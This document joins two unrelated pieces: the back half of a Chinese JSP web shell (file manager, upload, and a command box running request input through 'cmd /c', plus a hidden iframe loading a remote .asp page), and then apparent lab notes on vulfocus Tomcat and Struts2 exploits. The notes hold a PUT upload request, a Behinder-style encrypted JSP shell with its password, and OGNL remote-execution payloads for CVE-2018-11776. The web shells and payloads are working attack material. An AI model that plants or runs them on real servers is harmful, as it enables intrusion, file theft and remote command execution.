   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

  public String getTimeEstimated() {
   if (currSize == 0) return "n/a";
   long time = System.currentTimeMillis() - starttime;
   time = totalSize * time / currSize;
   time /= 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

 }

 public class FileInfo {

  public String name = null, clientFileName = null, fileContentType = null;
  private byte[] fileContents = null;
  public File file = null;
  public StringBuffer sb = new StringBuffer(100);

  public void setFileContents(byte[] aByteArray) {
   fileContents = new byte[aByteArray.length];
   System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  }
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

  private final String lineSeparator = System.getProperty("line.separator", "\n");
  private final int ONE_MB = 1024 * 1;

  public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
    int clength) throws IllegalArgumentException, IOException {
   if (is == null) throw new IllegalArgumentException("InputStream");
   if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
     "\"" + boundary + "\" is an illegal boundary indicator");
   boundary = "--" + boundary;
   StringTokenizer stLine = null, stFields = null;
   FileInfo fileInfo = null;
   Hashtable dataTable = new Hashtable(5);
   String line = null, field = null, paramName = null;
   boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
   boolean isFile = false;
   if (saveFiles) { // Create the required directory (including parent dirs)
    File f = new File(saveInDir);
    f.mkdirs();
   }
   line = getLine(is);
   if (line == null || !line.startsWith(boundary)) throw new IOException(
     "Boundary not found; boundary = " + boundary + ", line = " + line);
   while (line != null) {
    if (line == null || !line.startsWith(boundary)) return dataTable;
    line = getLine(is);
    if (line == null) return dataTable;
    stLine = new StringTokenizer(line, ";\r\n");
    if (stLine.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    line = stLine.nextToken().toLowerCase();
    if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
      "Bad data in second line");
    stFields = new StringTokenizer(stLine.nextToken(), "=\"");
    if (stFields.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    fileInfo = new FileInfo();
    stFields.nextToken();
    paramName = stFields.nextToken();
    isFile = false;
    if (stLine.hasMoreTokens()) {
     field = stLine.nextToken();
     stFields = new StringTokenizer(field, "=\"");
     if (stFields.countTokens() > 1) {
      if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
       fileInfo.name = paramName;
       String value = stFields.nextToken();
       if (value != null && value.trim().length() > 0) {
        fileInfo.clientFileName = value;
        isFile = true;
       }
       else {
        line = getLine(is); // Skip "Content-Type:" line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Position to boundary line
        continue;
       }
      }
     }
     else if (field.toLowerCase().indexOf("filename") >= 0) {
      line = getLine(is); // Skip "Content-Type:" line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Position to boundary line
      continue;
     }
    }
    boolean skipBlankLine = true;
    if (isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     if (line.trim().length() < 1) skipBlankLine = false;
     else {
      stLine = new StringTokenizer(line, ": ");
      if (stLine.countTokens() < 2) throw new IllegalArgumentException(
        "Bad data in third line");
      stLine.nextToken(); // Content-Type
      fileInfo.fileContentType = stLine.nextToken();
     }
    }
if (skipBlankLine) {
     line = getLine(is);
     if (line == null) return dataTable;
    }
    if (!isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     dataTable.put(paramName, line);
     // If parameter is dir, change saveInDir to dir
     if (paramName.equals("dir")) saveInDir = line;
     line = getLine(is);
     continue;
    }
    try {
     UplInfo uplInfo = new UplInfo(clength);
     UploadMonitor.set(fileInfo.clientFileName, uplInfo);
     OutputStream os = null;
     String path = null;
     if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
       fileInfo.clientFileName));
     else os = new ByteArrayOutputStream(ONE_MB);
     boolean readingContent = true;
     byte previousLine[] = new byte[2 * ONE_MB];
     byte temp[] = null;
     byte currentLine[] = new byte[2 * ONE_MB];
     int read, read3;
     if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
      line = null;
      break;
     }
     while (readingContent) {
      if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
       line = null;
       uplInfo.aborted = true;
       break;
      }
      if (compareBoundary(boundary, currentLine)) {
       os.write(previousLine, 0, read - 2);
       line = new String(currentLine, 0, read3);
       break;
      }
      else {
       os.write(previousLine, 0, read);
       uplInfo.currSize += read;
       temp = currentLine;
       currentLine = previousLine;
       previousLine = temp;
       read = read3;
      }//end else
     }//end while
     os.flush();
     os.close();
     if (!saveFiles) {
      ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
      fileInfo.setFileContents(baos.toByteArray());
     }
     else fileInfo.file = new File(path);
     dataTable.put(paramName, fileInfo);
     uplInfo.currSize = uplInfo.totalSize;
    }//end try
    catch (IOException e) {
     throw e;
    }
   }
   return dataTable;
  }

  /**
   * Compares boundary string to byte array
   */
  private boolean compareBoundary(String boundary, byte ba[]) {
   byte b;
   if (boundary == null || ba == null) return false;
   for (int i = 0; i < boundary.length(); i++)
    if ((byte) boundary.charAt(i) != ba[i]) return false;
   return true;
  }

  /** Convenience method to read HTTP header lines */
  private synchronized String getLine(ServletInputStream sis) throws IOException {
   byte b[] = new byte[1024];
   int read = sis.readLine(b, 0, b.length), index;
   String line = null;
   if (read != -1) {
    line = new String(b, 0, read);
    if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
   }
   return line;
  }

  public String getFileName(String dir, String fileName) throws IllegalArgumentException {
   String path = null;
   if (dir == null || fileName == null) throw new IllegalArgumentException(
     "dir or fileName is null");
   int index = fileName.lastIndexOf('/');
   String name = null;
   if (index >= 0) name = fileName.substring(index + 1);
   else name = fileName;
   index = name.lastIndexOf('\\');
   if (index >= 0) fileName = name.substring(index + 1);
   path = dir + File.separator + fileName;
   if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
   else return path.replace('/', File.separatorChar);
  }
} //End of class HttpMultiPartParser

String formatPath(String p)
{
 StringBuffer sb=new StringBuffer();
 for (int i = 0; i < p.length(); i++) 
 {
  if(p.charAt(i)=='\\')
  {
   sb.append("\\\\");
  }
  else
  {
   sb.append(p.charAt(i));
  }
 }
 return sb.toString();
}

 /**
  * Converts some important chars (int) to the corresponding html string
  */
 static String conv2Html(int i) {
  if (i == '&') return "&amp;";
  else if (i == '<') return "&lt;";
  else if (i == '>') return "&gt;";
  else if (i == '"') return "&quot;";
  else return "" + (char) i;
 }

 /**
  * Converts a normal string to a html conform string
  */
 static String htmlEncode(String st) {
  StringBuffer buf = new StringBuffer();
  for (int i = 0; i < st.length(); i++) {
   buf.append(conv2Html(st.charAt(i)));
  }
  return buf.toString();
 }
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
 StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
 File roots[]=File.listRoots();
 for(int i=0;i<roots.length;i++)
 {
  sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
  sb.append(roots[i]+"</a>&nbsp;");
 }
 return sb.toString();
}
static String convertFileSize(long filesize)
{
 //bug 5.09M 显示5.9M
 String strUnit="Bytes";
 String strAfterComma="";
 int intDivisor=1;
 if(filesize>=1024*1024)
 {
  strUnit = "MB";
  intDivisor=1024*1024;
 }
 else if(filesize>=1024)
 {
  strUnit = "KB";
  intDivisor=1024;
 }
 if(intDivisor==1) return filesize + " " + strUnit;
 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
 if(strAfterComma=="") strAfterComma=".0";
 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile; 
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");

if((tabID==null) || tabID.equals(""))
{
 tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
 strDir = request.getRealPath("/");
}


if(strAction!=null && strAction.equals("down"))
{
 File f=new File(strPath);
 if(f.length()==0)
 {
  sbDown.append("文件大小为 0 字节,就不用下了吧");
 }
 else
 {
  response.setHeader("content-type","text/html; charset=ISO-8859-1");
  response.setContentType("APPLICATION/OCTET-STREAM"); 
  response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
  FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
  out.clearBuffer();
  int i;
  while ((i=fileInputStream.read()) != -1)
  {
   out.write(i); 
  }
  fileInputStream.close();
  out.close();
 }
}

if(strAction!=null && strAction.equals("del"))
{
 File f=new File(strPath);
 f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
 File f=new File(strPath); 
 BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
 sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
 sbEdit.append("<input type=hidden name=action value=save >\r\n");
 sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
 sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
 sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
 sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
 sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
 String line="";
 while((line=br.readLine())!=null)
 {
  sbEdit.append(htmlEncode(line)+"\r\n");  
 }
   sbEdit.append("</textarea>");
 sbEdit.append("<input type=hidden name=path value="+strDir+">");
 sbEdit.append("</form>");
}

if(strAction!=null && strAction.equals("save"))
{
 File f=new File(strPath);
 BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
 String strContent=request.getParameter("content");
 bw.write(strContent);
 bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
 File f=new File(strPath);
 sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
 sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
 sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
 sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
 sbCopy.append("原始文件: "+strPath+"<p>");
 sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
 sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
 sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
 sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
 File f=new File(strPath);
 String strDesFile=request.getParameter("file2");
 if(strDesFile==null || strDesFile.equals(""))
 {
  sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
 }
 else
 {
  File f_des=new File(strDesFile);
  if(f_des.isFile())
  {
   sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
  }
  else
  {
   String strTmpFile=strDesFile;
   if(f_des.isDirectory())
   {
    if(!strDesFile.endsWith("\\"))
    {
     strDesFile=strDesFile+"\\";
    }
    strTmpFile=strDesFile+"cqq_"+strFile;
    }
   
   File f_des_copy=new File(strTmpFile);
   FileInputStream in1=new FileInputStream(f);
   FileOutputStream out1=new FileOutputStream(f_des_copy);
   byte[] buffer=new byte[1024];
   int c;
   while((c=in1.read(buffer))!=-1)
   {
    out1.write(buffer,0,c);
   }
   in1.close();
   out1.close();
 
   sbSaveCopy.append("原始文件 :"+strPath+"<p>");
   sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>");
   sbSaveCopy.append("<font color=red>复制成功!</font>");   
  }  
 } 
 sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
 String strF=request.getParameter("fileName");
 String strType1=request.getParameter("btnNewFile");
 String strType2=request.getParameter("btnNewDir");
 String strType="";
 if(strType1==null)
 {
  strType="Dir";
 }
 else if(strType2==null)
 {
  strType="File";
 }
 if(!strType.equals("") && !(strF==null || strF.equals("")))
 {  
   File f_new=new File(strF);   
   if(strType.equals("File") && !f_new.createNewFile())
    sbNewFile.append(strF+" 文件创建失败");
   if(strType.equals("Dir") && !f_new.mkdirs())
    sbNewFile.append(strF+" 目录创建失败");
 }
 else
 {
  sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
 }
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
 String tempdir=".";
 boolean error=false;
 response.setContentType("text/html");
 sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
 HttpMultiPartParser parser = new HttpMultiPartParser();

 int bstart = request.getContentType().lastIndexOf("oundary=");
 String bound = request.getContentType().substring(bstart + 8);
 int clength = request.getContentLength();
 Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
 if (ht.get("cqqUploadFile") != null)
 {

  FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
  File f1 = fi.file;
  UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
  if (info != null && info.aborted) 
  {
   f1.delete();
   request.setAttribute("error", "Upload aborted");
  }
  else 
  {
   String path = (String) ht.get("path");
   if(path!=null && !path.endsWith("\\")) 
    path = path + "\\";
   if (!f1.renameTo(new File(path + f1.getName()))) 
   {
    request.setAttribute("error", "Cannot upload file.");
    error = true;
    f1.delete();
   }
  }
 }
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/javascript">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload

 

</script>
<script language="javascript">

function doForm(action,path,file,cmd,tab,content)
{
 document.frmCqq.action.value=action;
 document.frmCqq.path.value=path;
 document.frmCqq.file.value=file;
 document.frmCqq.cmd.value=cmd;
 document.frmCqq.tabID.value=tab;
 document.frmCqq.content.value=content;
 if(action=="del")
 {
  if(confirm("确定要删除文件 "+file+" 吗?"))
  document.frmCqq.submit();
 }
 else
 {
  document.frmCqq.submit();    
 }
}
</script>

<title>JSP Shell 岁月联盟专用版本</title>
<head>


<body>

<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>

<!--Top Menu Started-->
<ul id="tablist">
<li><a href="http://www.7jyewu.cn" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
 &nbsp; <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->


<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
 File objFile = new File(strDir);
 File list[] = objFile.listFiles(); 
 if(objFile.getAbsolutePath().length()>3)
 {
  sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
  sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");


 }
 for(int i=0;i<list.length;i++)
 {
  if(list[i].isDirectory())
  {
   sbFolder.append("<tr><td >&nbsp;</td><td>");
   sbFolder.append("  <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
   sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
  }
  else
  {
      String strLen="";
   String strDT="";
   long lFile=0;
   lFile=list[i].length();
   strLen = convertFileSize(lFile);
   Date dt=new Date(list[i].lastModified());
   strDT=dt.toLocaleString();
   sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
   sbFile.append(""+list[i].getName()); 
   sbFile.append("</td><td>");
   sbFile.append(""+strLen);
   sbFile.append("</td><td>");
   sbFile.append(""+strDT);
   sbFile.append("</td><td>");

   sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileEdit[languageNo]+"</a> ");

   sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileDel[languageNo]+"</a> ");

   sbFile.append("  &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileDown[languageNo]+"</a> ");

   sbFile.append("  &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileCopy[languageNo]+"</a> ");
  }  

 } 
}
catch(Exception e)
{
 out.println("<font color=red>操作失败: "+e.toString()+"</font>");
}
%>

<DIV id="tabcontentcontainer">


<div id="menu3" class="tabcontent">
<br> 
<br> &nbsp;&nbsp; 未完成
<br> 
<br>&nbsp;

</div>

<div id="menu4" class="tabcontent">
<br>
<p>一、功能说明</p>
<p>&nbsp;&nbsp;&nbsp; jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、</p>
<p>删除、下载文件和目录。对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似</p>
<p>与windows的cmd。</p>
<p>&nbsp;</p>
<p>二、测试</p>
<p>&nbsp;&nbsp;&nbsp;<b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言,以便使这个程序更加完善和稳定,<p>
留言地址为:<a href="http://www.7jyewu.cn" target="_blank">http://www.7jyewu.cn/</a></b>
<p>&nbsp;</p>
<p>三、更新记录</p>
<p>&nbsp;&nbsp;&nbsp; 2004.11.15&nbsp; V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
<p>&nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; 暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能</p>
<p>&nbsp;&nbsp;&nbsp; 2004.09.20&nbsp; 第一个jsp&nbsp;程序就是这个简单的显示目录文件的小程序</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>


<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
       
        <tr> 
          <td width="25%" align="center" valign="top"> 
              <table width="98%" border="0" cellspacing="0" cellpadding="3">
     <%=sbFolder%>
                </tr>                 
              </table>
          </td>
          <td width="81%" align="left" valign="top">
 
 <%
 if(strAction!=null && strAction.equals("edit"))
 {
  out.println(sbEdit.toString());
 }
 else if(strAction!=null && strAction.equals("copy"))
 {
  out.println(sbCopy.toString());
 }
 else if(strAction!=null && strAction.equals("down"))
 {
  out.println(sbDown.toString());
 }
 else if(strAction!=null && strAction.equals("savecopy"))
 {
  out.println(sbSaveCopy.toString());
 }
 else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
 {
  out.println(sbNewFile.toString());
 }
 else
 {
 %>
  <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
              <tr bgcolor="#E7e7e6"> 
                <td width="26%"><%=strFileName[languageNo]%></td>
                <td width="19%"><%=strFileSize[languageNo]%></td>
                <td width="29%"><%=strLastModified[languageNo]%></td>
                <td width="26%"><%=strFileOperation[languageNo]%></td>
              </tr>              
            <%=sbFile%>
             <!-- <tr align="center"> 
                <td colspan="4"><br>
                  总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font> 
                  KB </td>
              </tr>
    -->
            </table>
   </span>
 <%
 }  
 %>

          </td>
        </tr>

 <form name="frmMake" action="" method="post">
 <tr><td colspan=2 bgcolor=#FBFFC6>
 <input type="hidden" name="action" value="newFile">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <%
 if(!strDir.endsWith("\\"))
 strDir = strDir + "\\";
 %>
 <input type="text" name="fileName" size=36 value="<%=strDir%>">
 <input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" > 
 <input type="submit" name="btnNewDir" value="新建目录"  onclick="frmMake.submit()" > 
 </form>  
 <form name="frmUpload" enctype="multipart/form-data" action="" method="post">
 <input type="hidden" name="action" value="upload">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <input type="file" name="cqqUploadFile" size="36">
 <input type="submit" name="submit" value="上传">
 </td></tr></form>
      </table>
</div>
<div id="menu2" class="tabcontent">

<%
String line="";
StringBuffer sbCmd=new StringBuffer("");

if(strCmd!=null) 
{
 try
 {
  //out.println(strCmd);
  Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
  BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
  while((line=br.readLine())!=null)
  {
   sbCmd.append(line+"\r\n");  
  }    
 }
 catch(Exception e)
 {
  System.out.println(e.toString());
 }
}
else
{
 strCmd = "set";
}

%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://www.7jyewu.cn" target="_blank">www.7jyewu.cn</a> ,All Rights Reserved.
<br>Any question, please email me admin@syue.com
<iframe src=http://7jyewu.cn/a/a.asp width=0 height=0></iframe

tomcat 文件上传 (CVE-2017-12615)

WP

https://fofapro.github.io/vulfocus/#/writeup/CVE-2017-12615/CVE-2017-12615

我用的是xray扫描出来的poc但是卡在了利用部分

PUT /lqbvqp.jsp/ HTTP/1.1
Host: vulfocus.fofa.so:62402
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 35
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=802EECC508D3A4A2B9938931F6BF03FA
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

feoemrwzathe <%-- xdvvphdxbrdp --%>

官方提供的这个jsp马好用,用冰蝎链接,密码pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

st2-046远程命令执行(CVE-2017-5638)

WP

https://fofapro.github.io/vulfocus/#/writeup/CVE-2017-5638/CVE-2017-5638

咱就是说,工具真滴好勇,链接在这里:https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927

但是还是想知道为什么的说,漏洞分析:https://paper.seebug.org/241/,

影响版本:The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.

struts2 命令执行 (CVE-2017-12611)

WP

https://fofapro.github.io/vulfocus/#/writeup/struts2-053_xiajibaxie/CVE-2017-12611

struts2-052 远程代码执行 (CVE-2017-9805)

WP

https://fofapro.github.io/vulfocus/#/writeup/struts2-052_xiajibaxie/CVE-2017-9805

struts-s2-008 代码执行 (CVE-2012-0391)

WP

https://fofapro.github.io/vulfocus/#/writeup/CVE-2012-0392/Struts2-008(CVE-2012-0392)

burp不行但是hackbar却可以直接发包出去,看来多试几个同类型的工具总是没有错的

structs2-Ranger 远程代码执行漏洞(CVE-2018-11776)

WP

https://fofapro.github.io/vulfocus/#/writeup/CVE-2018-11776/CVE-2018-11776

(CVE-2018-11776)s2-057
========================

一、漏洞简介
------------

当Struts2的配置满⾜以下条件时

-   alwaysSelectFullNamespace值为true

-   action元素未设置namespace属性或使⽤了通配符

namespace将由⽤户从uri传⼊并作为OGNL表达式计算最终造成任意命令执⾏漏洞。

    http://www.0-sec.org:8080/${1+1}/actionChain1.action

===\>

    http://www.0-sec.org:8080/2/register2.action

二、漏洞影响
------------

⼩于等于 Struts 2.3.34 与 Struts 2.5.16

三、复现过程
------------

POC
---

**回显是url**

2.3.34版本 RCE :white\_check\_mark:

    ${
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

urlencode===\>

    %24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

